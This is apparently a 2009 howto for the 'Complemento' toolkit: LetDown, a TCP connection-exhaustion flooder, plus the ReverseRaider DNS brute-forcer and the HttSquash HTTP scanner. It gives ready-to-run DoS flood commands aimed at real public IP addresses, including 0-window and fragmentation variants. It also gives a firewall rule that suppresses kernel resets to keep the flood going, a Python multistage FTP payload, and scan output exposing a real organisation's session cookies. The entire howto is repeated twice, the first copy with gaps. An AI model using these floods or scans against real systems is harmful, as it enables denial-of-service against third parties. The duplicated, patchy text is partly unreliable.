Howto
Acri Emanuele - 2009
Complemento
is a
collection of tools that I originally grokked up for my personal
toolchain for solving some
problems or just for fun. Now I have decided to
release it to the public. The programs are network and penetration
test oriented; in this howto we'll see their features and how
to use them (with a bit of black magic).
INDEX:
Note: anyone who wants to participate in the project feel free to contact me. Especially for the review of documentation, which requires a better English than mine...
LetDown
LetDown is a tcp flooder programmed after reading Fyodor's article "TCP Resource Exhaustion and Botched Disclosure". It has an (experimental) userland TCP/IP stack, fragmentation of packets and variable tcp window. From version 0.7 it supports multistage payloads for complex protocols (such as FTP, SMTP, etc... I have included some examples in the "payloads" directory), written in Python. So you can use the power of language to write intelligent payload, which modify their behavior according to the responses of targets.
Before using the tool you should read the article written by Fyodor (at http://insecure.org/stf/tcp-dos-attack-explained.html). This is a short extract:
"The basic idea is to first firewall your source address to prevent your own OS from interfering with your attack. Next you create hundreds or thousands of connections to the TCP port you are targeting as follows:
...
Once you have those thousands of open connections, you can get even nastier by sending malicious data payloads customized for the service you're attacking. For example, you can request a large file from web servers using each of your open connections. The server will then load the first part of that file into the OS TCP stack for sending, using precious kernel memory buffers.
...
...
Let's see the usage screen of LetDown:
The other main options include the source ip address, the first and last port used in the scanning loop (that you use in an enable an endless loop), the network interface used for sniffing and injecting packets, the sleep time between the injections and the maximum time for waiting responses.
Extra options are more interesting:
-v set the verbosity level. The default level show only some general statistics about the session.
-f configure automagically the firewall for not resetting the connections made by the program, via iptables rules or sysctl on FreeBSD.
-L modify the interaction with the target. You can set the following modalities:
-O enable acknowledge packets fragmentation and the value is used as fragment offset delta.
-C fragment couter, increment the fragment offset as specified by -O option.
-P simple payload file to sent to the target host after the 3-way handshake.
-M multistage payload file.
Let's see some simple uses of the tool...
Remember: the kernel will reset the connections if you don't set your firewall properly. For iptables you can use:
# iptables -A OUTPUT -p tcp --tcp-flags ALL RST -j DROP
or if you use FreeBSD:
# sysctl net.inet.tcp.blackhole=2
Examples:
A generic 3-way handshake flooding against a service (in this case FTP):
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 21
Attack against a webserver using payload and firewall options:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -f iptables -P payloads/http.txt
Attack that use only 3 source ports (120-123) and with the time option:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -x 120 -y 123 -t 10000
Now that you understand the basic use of the tool let's see some features a bit more advanced...
This is an attack that uses a TCP window of size 0. For more informations about 0-window attack and TCP protocol you can read:
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-4.htm
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm#Figure_226
# letdown -d 66.249.93.104 -p 80 -x 1026 -y 1026 -P payloads/http.txt -W 0 -L a -f iptables
Screenshot of the session:
More advanced uses can involve the fragmentation of packets. In this case i use an offset delta of 1024:
# letdown -d 66.249.93.104 -p 80 -x 1025 -y 1025 -P payloads/http.txt -O 1024 -C 5
Screenshot:
And for more complex protocols that require stateful connections?
Here comes into play the new feature of LetDown 0.7, the scripting engine embedded into the program. Let's see what magic it can do...
Scripting:
Letdown has an embedded python scripting engine, used to create complex payloads for complex protocols.
You can use the power of python language for writing payloads which react differently, according to the responses they receive from the target. You are also able to handle protocols such as FTP or SMTP, which require a greater level of interaction.
Write a multistage payload is really simple. This is an example included in LetDown, for handling FTP protocol:
As you can see, the script is composed of a single function "callback", that receives some arguments and, as result, sets some global variables.
The arguments received by the functions are a counter, that represents the number of times the function was called for a single session, the TCP flags and the payload of the last received packet.
The function can set some global variables for return a result to LetDown. The default values of these are:
The constants and the TCP flags are setted by LetDown, and you can use them for read the values of the arguments or set the global variables.
Some importants notes:
1) For the last packet sent by the script i've used "if count > 7":
2) For now, only the packets with flags SYN-ACK, ACK or PSH-ACK are passed to the script, so the argument h_flags is not really important...
Other ideas for a multistage payload may include, for example, a mechanism based on regular expression that modify packets according to the responses of the target.
If you want to send me your scripts, they will be published in a forthcoming version of the program.
But now, let's see this script in action:
# letdown -d 81.31.152.93 -p 21 -x 1331 -y 1331 -M payloads/ftp-multi.py -L f
Screenshot:
This stream looks like a normal connection, but it 's all done in userspace by the TCP stack of LetDown. It's cool, it isn't?
Well, I think LetDown has no more secrets for you ...
I give you only a last hint: LetDown is not perfect, especially in case of multistage payloads. You should try the script on you local network before starting the pentesting session.
ReverseRaider
ReverseRaider is a domain scanner that uses brute force wordlist scanning for finding a target subdomain or reverse resolution of an ip range. It supports permutation on wordlist, IPv6 and also some DNS options.
Let's see the usage screen of ReverseRaider:
ReverseRaider domain scanner v0.7 - Acri Emanuele (crossbower@gmail.com)
Usage:
reverseraider -d domain | -r range [options]
Options:
-r range of ipv4 or ipv6 addresses, for reverse scanning
examples: 208.67.1.1-254 or 2001:0DB8::1428:57ab-6344
-d domain, for wordlist scanning (example google.com)
-w wordlist file (see wordlists directory...)
Extra options:
-t requests timeout in seconds
-P enable numeric permutation on wordlist (default off)
-D nameserver to use (default: resolv.conf)
-T use TCP queries instead of UDP queries
-R don't set the recursion bit on queries
The main options are, of course, the scanning mode (wordlist or reverse resolution) and the path of the wordlist. The extra options permit to set the maximum time for waiting responses, to activate permutations on wordlists, to choose the DNS server to use and to set type and recursion of queries.
Let's see some examples of use:
Reverse scanning of an ip range (in our examples the owner of the hosts scanned is Google...):
$ reverseraider -r 66.249.93.100-120
Output:
google.it 66.249.93.104
ug-in-f102.google.com 66.249.93.102
ug-in-f112.google.com 66.249.93.112
ug-in-f101.google.com 66.249.93.101
ug-in-f100.google.com 66.249.93.100
ug-in-f115.google.com 66.249.93.115
ug-in-f116.google.com 66.249.93.116
ug-in-f118.google.com 66.249.93.118
gsmtp93-2.google.com 66.249.93.114
ug-in-f120.google.com 66.249.93.120
We can do the same with a range of IPv6 (if your nameserver supports reverse dns query for IPv6):
$ reverseraider -r 2001:4860:0:1001::68-69
Output:
nf-in-x68.google.com 2001:4860:0:1001::68
Wordlist scanning of a domain:
$ reverseraider -d google.com -w wordlists/fast.list
Output:
www.l.google.com 74.125.43.103
www.google.com 74.125.43.103
googlemail.l.google.com 74.125.43.18
mail.google.com 74.125.43.18
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.70
vpn.google.com 64.9.224.68
vpn.google.com 64.9.224.69
www.google.com 74.125.43.103
web.google.com 74.125.43.103
www2.l.google.com 74.125.77.103
print.google.com 74.125.77.103
smtp1.google.com 209.85.237.25
smtp.google.com 209.85.237.25
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.68
vpn.google.com 64.9.224.69
vpn.google.com 64.9.224.70
I showed the basic uses of the tool. Now it's your turn to experiment with the various options, such as DSN no-recursion...
HttSquash
Httsquash is an http server scanner, banner grabber and data retriever. It can be used for scanning large ranges of ip for finding devices or http servers. It supports IPv6, personalized requests and a basic fingerprint of remote servers.
Let's see the usage screen of HttSquash:
HTTSquash scanner v0.7 - Acri Emanuele (crossbower@gmail.com)
Usage:
httsquash -r range [options]
Options:
-r range of ip addresses or target dns name
examples: 208.67.1.1-254, 2001::1428:57ab-6344, google.com
-p port (default 80)
Extra options:
-t time in seconds (default 3)
-m max scan threads (default 10)
-v full answer (include html data)
-j cookie jar separator ("%%")
-T request type (default get)
types: get, head, delete
-F enable fingerprinting (request type required)
The required options are the range of ip to scan and the port of http servers. It's also possible to set the max time to wait responses, the max number of threads, a "full" mode and/or a cookie-jar separator between the results.
Other options include various HTTP requests and enabling the fingerprinting.
Let's see some examples of use:
Http header grabbing of a server (using IPv6... for IPv4 is the same):
$ httsquash -r 2001:4860:0:1001::68
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:25:41 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
Full mode:
$ httsquash -r 2001:4860:0:1001::68 -v
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:27:55 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
DATA:
<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google</title>
...
...
</body></html>
By setting an ip range it's possible to scan a subnet for finding http servers, including networked devices that have an http control panel. In this example the request type option is active:
$ httsquash -r 89.97.126.0-10 -T head
Output:
FOUND: 89.97.126.5 80
HTTP/1.1 301 Moved Permanently
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: Apache/2.0.52 (Red Hat)
Location: http://www.inail.it/Portale/appmanager/portale/desktop
Content-Type: text/html; charset=iso-8859-1
FOUND: 89.97.126.4 80
HTTP/1.1 404 Not Found
Date: Thu, 01 Jan 1970 00:00:00 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033
Content-Length: 1278
Content-Type: text/html
Connection: Close
FOUND: 89.97.126.10 80
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738 CR176240
Content-Type: text/html
Set-Cookie: JSESSIONID_PC=Jl8vRNeQvLsL3USYCguROszKlxeRZJTRIPKhS2G8vC1iBb4AoVG0!-4352615!183762790!8081!-1!-1833311414!183762789!8081!-1; domain=.inail.it; path=/
Transfer-Encoding: Chunked
FOUND: 89.97.126.3 80
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:30 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738
Content-Type: text/html
Set-Cookie: JSESSIONID_NS=Jl8u2fspBdHJZ6SrPnBOt5ka3iOZDcJAHSnlXDRLN1aBcNiGs1yC!-1484958317!183762809!8080!-1; domain=.inail.it; path=/
For parsing the results it's useful setting the -j (jar-cookie separator option).
Ok, the presentation of HttSquash is finished.
Unfortunately this tool needs to be rewritten in many parts. I haven't had the time to do it (but I hope to fix the problems in the next release), so don't rely excessively on it ;-p
Conclusion
Have fun!
INDEX:
Note: anyone who wants to participate in the project feel free to contact me. Especially for the review of documentation, which requires a better English than mine...
LetDown
LetDown is a tcp flooder programmed after reading Fyodor's article "TCP Resource Exhaustion and Botched Disclosure". It has an (experimental) userland TCP/IP stack, fragmentation of packets and variable tcp window. From version 0.7 it supports multistage payloads for complex protocols (such as FTP, SMTP, etc... I have included some examples in the "payloads" directory), written in Python. So you can use the power of language to write intelligent payload, which modify their behavior according to the responses of targets.
Before using the tool you should read the article written by Fyodor (at http://insecure.org/stf/tcp-dos-attack-explained.html). This is a short extract:
"The basic idea is to first firewall your source address to prevent your own OS from interfering with your attack. Next you create hundreds or thousands of connections to the TCP port you are targeting as follows:
- Attacker sends a TCP SYN packet to the target port from his own IP address to request a connection.
- The target port is open, so it will respond with a SYN/ACK packet. Remember that Attacker sent the SYN as a raw packet from userland rather than using his operating system's connect() API to establish the connections. So when Attacker's operating system's TCP stack sees the unexpected SYN/ACK come back, it would normally destroy the nascent connection by sending a reset (RST) packet. This is why the special firewall rule was mentioned—to prevent such interference by Attacker's OS. Instead Attacker's DoS client handles all these packets by sniffing them from userland (generally using libpcap) and building/sending the raw reply packets.
- Using the initial sequence number and other information from the SYN/ACK, Attacker sends an acknowledgment packet (the final step of the 3-way handshake) to complete the connection.
...
Once you have those thousands of open connections, you can get even nastier by sending malicious data payloads customized for the service you're attacking. For example, you can request a large file from web servers using each of your open connections. The server will then load the first part of that file into the OS TCP stack for sending, using precious kernel memory buffers.
...
...
Other options for nastyness include IP fragmentation and TCP segmentation. For example, you can waste memory by sending many large packets with each having one fragment missing, or you can leave a gap in the TCP streams by sending data at the end of the current window with nothing in between. The target OS may buffer that data until you decide to send the intervening packets.
You can easily tweak this attack to target different resources (such as requesting a dynamic page which requires significant CPU time to compute). These are just modifications of the fundamental attack, which is to use raw TCP packets to make a massive number of connections and (optionally) send malicious application-specific payloads for each connection, while tweaking details such as your packet timing and window sizes to have the most damaging affect. "Let's see the usage screen of LetDown:
LetDown 3wh+payload flooder v0.7 - Acri Emanuele (crossbower@gmail.com)Required options are the destination address and the target port.
Usage:
letdown -d destination ip -p port [options]
Options:
-d destination ip address or dns name, target
-p destination port
-s source ip address
-x first source port (default 1025)
-y last source port (default 65534)
-l enables infinite loop mode
-i network interface
-t sleep time in microseconds (default 10000)
-a max time in second for waiting responses (default 40)
Extra options:
-v verbosity level (0=quiet, 1=normal, 2=verbose)
-f automagically set firewall rules for blocking
rst packet generated by the kernel
examples: -f iptables, -f blackhole (for freebsd)
-L special interaction levels with the target
s syn flooding, no 3-way-handshake
a send acknowledgment packets (polite mode)
f send finalize packets (include polite mode)
r send reset packets (check firewall rules...)
-W window size for ack packets (ex: 0-window attack)
-O enable ack fragmentation and set fragment offset delta
-C fragment counter if fragmentation is enabled (default 1)
-P payload file (see payloads directory...)
-M multistage payload file (see payloads directory...)
The other main options include the source ip address, the first and last port used in the scanning loop (that you use in an enable an endless loop), the network interface used for sniffing and injecting packets, the sleep time between the injections and the maximum time for waiting responses.
Extra options are more interesting:
-v set the verbosity level. The default level show only some general statistics about the session.
-f configure automagically the firewall for not resetting the connections made by the program, via iptables rules or sysctl on FreeBSD.
-L modify the interaction with the target. You can set the following modalities:
s is just a syn flood, no 3-way-handshake.
a is like the "polite mode" of Fyodor NDos, but acks data received without closing the connection.
f close the connection with finalize packets, the conventional way.
r close the connection with a reset packet, the brute way.
-W is the tcp window size of acknowledge packets. It can be setted
to 0 (zero) for 0-window DoS attacks.a is like the "polite mode" of Fyodor NDos, but acks data received without closing the connection.
f close the connection with finalize packets, the conventional way.
r close the connection with a reset packet, the brute way.
-O enable acknowledge packets fragmentation and the value is used as fragment offset delta.
-C fragment couter, increment the fragment offset as specified by -O option.
-P simple payload file to sent to the target host after the 3-way handshake.
-M multistage payload file.
Let's see some simple uses of the tool...
Remember: the kernel will reset the connections if you don't set your firewall properly. For iptables you can use:
# iptables -A OUTPUT -p tcp --tcp-flags ALL RST -j DROP
or if you use FreeBSD:
# sysctl net.inet.tcp.blackhole=2
Examples:
A generic 3-way handshake flooding against a service (in this case FTP):
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 21
Attack against a webserver using payload and firewall options:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -f iptables -P payloads/http.txt
Attack that use only 3 source ports (120-123) and with the time option:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -x 120 -y 123 -t 10000
Now that you understand the basic use of the tool let's see some features a bit more advanced...
This is an attack that uses a TCP window of size 0. For more informations about 0-window attack and TCP protocol you can read:
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-4.htm
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm#Figure_226
# letdown -d 66.249.93.104 -p 80 -x 1026 -y 1026 -P payloads/http.txt -W 0 -L a -f iptables
Screenshot of the session:
More advanced uses can involve the fragmentation of packets. In this case i use an offset delta of 1024:
# letdown -d 66.249.93.104 -p 80 -x 1025 -y 1025 -P payloads/http.txt -O 1024 -C 5
Screenshot:
And for more complex protocols that require stateful connections?
Here comes into play the new feature of LetDown 0.7, the scripting engine embedded into the program. Let's see what magic it can do...
Scripting:
Letdown has an embedded python scripting engine, used to create complex payloads for complex protocols.
You can use the power of python language for writing payloads which react differently, according to the responses they receive from the target. You are also able to handle protocols such as FTP or SMTP, which require a greater level of interaction.
Write a multistage payload is really simple. This is an example included in LetDown, for handling FTP protocol:
# Example of FTP multistage payload
# Copyright (C) 2009 Acri Emanuele <crossbower@gmail.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# Callback function
def callback(count, h_flags, h_payload):
global stage
global flags
global window
global wait
global payload
# Ack FTP server banner...
if count == 0:
flags = ack
window = 2048
# First command
if count == 1:
flags = ack | push
window = 2048
action = act_wait
payload = "USER root\r\n"
# Ack...
if count == 2:
flags = ack
window = 2048
# Second command
if count == 3:
flags = ack | push
window = 2048
action = act_wait
payload = "PASS foo\r\n"
# Ack...
if count == 4:
flags = ack
window = 2048
# Request help
if count == 5:
flags = ack | push
window = 2048
action = act_wait
payload = "help\r\n"
# Ack received help
if count == 6:
flags = ack
window = 2048
# Quit the connection
if count == 7:
flags = ack | push
window = 2048
action = act_wait
payload = "quit\r\n"
# Ack and close the connection...
if count > 7:
flags = ack
window = 2048
wait = act_end
As you can see, the script is composed of a single function "callback", that receives some arguments and, as result, sets some global variables.
The arguments received by the functions are a counter, that represents the number of times the function was called for a single session, the TCP flags and the payload of the last received packet.
The function can set some global variables for return a result to LetDown. The default values of these are:
# Costants (don't touch)
act_null = 0 # default action. does nothing...
act_wait = 1 # wait a new packet from the target
act_end = 2 # end this session (polite mode)
act_exit = 3 # end this session (brute mode)
# TCP flags (don't touch)
fin = 0x01
syn = 0x02
rst = 0x04
push = 0x08
ack = 0x10
urg = 0x20
# Global variables
flags = ack # TCP flags of the packet to send
window = 2048 # TCP window of the packet to send
action = act_null # action (see Costants)
payload = \"\" # payload of the packet to send
The constants and the TCP flags are setted by LetDown, and you can use them for read the values of the arguments or set the global variables.
Some importants notes:
1) For the last packet sent by the script i've used "if count > 7":
# Ack and close the connection...This is a protection against errors of scripting, which can lead to an endless loop. If you use the counter you should use this precaution ...
if count > 7:
flags = ack
window = 2048
wait = act_end
2) For now, only the packets with flags SYN-ACK, ACK or PSH-ACK are passed to the script, so the argument h_flags is not really important...
Other ideas for a multistage payload may include, for example, a mechanism based on regular expression that modify packets according to the responses of the target.
If you want to send me your scripts, they will be published in a forthcoming version of the program.
But now, let's see this script in action:
# letdown -d 81.31.152.93 -p 21 -x 1331 -y 1331 -M payloads/ftp-multi.py -L f
Screenshot:
This stream looks like a normal connection, but it 's all done in userspace by the TCP stack of LetDown. It's cool, it isn't?
Well, I think LetDown has no more secrets for you ...
I give you only a last hint: LetDown is not perfect, especially in case of multistage payloads. You should try the script on you local network before starting the pentesting session.
ReverseRaider
ReverseRaider is a domain scanner that uses brute force wordlist scanning for finding a target subdomain or reverse resolution of an ip range. It supports permutation on wordlist, IPv6 and also some DNS options.
Let's see the usage screen of ReverseRaider:
ReverseRaider domain scanner v0.7 - Acri Emanuele (crossbower@gmail.com)
Usage:
reverseraider -d domain | -r range [options]
Options:
-r range of ipv4 or ipv6 addresses, for reverse scanning
examples: 208.67.1.1-254 or 2001:0DB8::1428:57ab-6344
-d domain, for wordlist scanning (example google.com)
-w wordlist file (see wordlists directory...)
Extra options:
-t requests timeout in seconds
-P enable numeric permutation on wordlist (default off)
-D nameserver to use (default: resolv.conf)
-T use TCP queries instead of UDP queries
-R don't set the recursion bit on queries
The main options are, of course, the scanning mode (wordlist or reverse resolution) and the path of the wordlist. The extra options permit to set the maximum time for waiting responses, to activate permutations on wordlists, to choose the DNS server to use and to set type and recursion of queries.
Let's see some examples of use:
Reverse scanning of an ip range (in our examples the owner of the hosts scanned is Google...):
$ reverseraider -r 66.249.93.100-120
Output:
google.it 66.249.93.104
ug-in-f102.google.com 66.249.93.102
ug-in-f112.google.com 66.249.93.112
ug-in-f101.google.com 66.249.93.101
ug-in-f100.google.com 66.249.93.100
ug-in-f115.google.com 66.249.93.115
ug-in-f116.google.com 66.249.93.116
ug-in-f118.google.com 66.249.93.118
gsmtp93-2.google.com 66.249.93.114
ug-in-f120.google.com 66.249.93.120
We can do the same with a range of IPv6 (if your nameserver supports reverse dns query for IPv6):
$ reverseraider -r 2001:4860:0:1001::68-69
Output:
nf-in-x68.google.com 2001:4860:0:1001::68
Wordlist scanning of a domain:
$ reverseraider -d google.com -w wordlists/fast.list
Output:
www.l.google.com 74.125.43.103
www.google.com 74.125.43.103
googlemail.l.google.com 74.125.43.18
mail.google.com 74.125.43.18
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.70
vpn.google.com 64.9.224.68
vpn.google.com 64.9.224.69
www.google.com 74.125.43.103
web.google.com 74.125.43.103
www2.l.google.com 74.125.77.103
print.google.com 74.125.77.103
smtp1.google.com 209.85.237.25
smtp.google.com 209.85.237.25
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.68
vpn.google.com 64.9.224.69
vpn.google.com 64.9.224.70
I showed the basic uses of the tool. Now it's your turn to experiment with the various options, such as DSN no-recursion...
HttSquash
Httsquash is an http server scanner, banner grabber and data retriever. It can be used for scanning large ranges of ip for finding devices or http servers. It supports IPv6, personalized requests and a basic fingerprint of remote servers.
Let's see the usage screen of HttSquash:
HTTSquash scanner v0.7 - Acri Emanuele (crossbower@gmail.com)
Usage:
httsquash -r range [options]
Options:
-r range of ip addresses or target dns name
examples: 208.67.1.1-254, 2001::1428:57ab-6344, google.com
-p port (default 80)
Extra options:
-t time in seconds (default 3)
-m max scan threads (default 10)
-v full answer (include html data)
-j cookie jar separator ("%%")
-T request type (default get)
types: get, head, delete
-F enable fingerprinting (request type required)
The required options are the range of ip to scan and the port of http servers. It's also possible to set the max time to wait responses, the max number of threads, a "full" mode and/or a cookie-jar separator between the results.
Other options include various HTTP requests and enabling the fingerprinting.
Let's see some examples of use:
Http header grabbing of a server (using IPv6... for IPv4 is the same):
$ httsquash -r 2001:4860:0:1001::68
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:25:41 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
Full mode:
$ httsquash -r 2001:4860:0:1001::68 -v
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:27:55 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
DATA:
<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google</title>
...
...
</body></html>
By setting an ip range it's possible to scan a subnet for finding http servers, including networked devices that have an http control panel. In this example the request type option is active:
$ httsquash -r 89.97.126.0-10 -T head
Output:
FOUND: 89.97.126.5 80
HTTP/1.1 301 Moved Permanently
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: Apache/2.0.52 (Red Hat)
Location: http://www.inail.it/Portale/appmanager/portale/desktop
Content-Type: text/html; charset=iso-8859-1
FOUND: 89.97.126.4 80
HTTP/1.1 404 Not Found
Date: Thu, 01 Jan 1970 00:00:00 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033
Content-Length: 1278
Content-Type: text/html
Connection: Close
FOUND: 89.97.126.10 80
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738 CR176240
Content-Type: text/html
Set-Cookie: JSESSIONID_PC=Jl8vRNeQvLsL3USYCguROszKlxeRZJTRIPKhS2G8vC1iBb4AoVG0!-4352615!183762790!8081!-1!-1833311414!183762789!8081!-1; domain=.inail.it; path=/
Transfer-Encoding: Chunked
FOUND: 89.97.126.3 80
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:30 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738
Content-Type: text/html
Set-Cookie: JSESSIONID_NS=Jl8u2fspBdHJZ6SrPnBOt5ka3iOZDcJAHSnlXDRLN1aBcNiGs1yC!-1484958317!183762809!8080!-1; domain=.inail.it; path=/
For parsing the results it's useful setting the -j (jar-cookie separator option).
Ok, the presentation of HttSquash is finished.
Unfortunately this tool needs to be rewritten in many parts. I haven't had the time to do it (but I hope to fix the problems in the next release), so don't rely excessively on it ;-p
Conclusion
Have fun!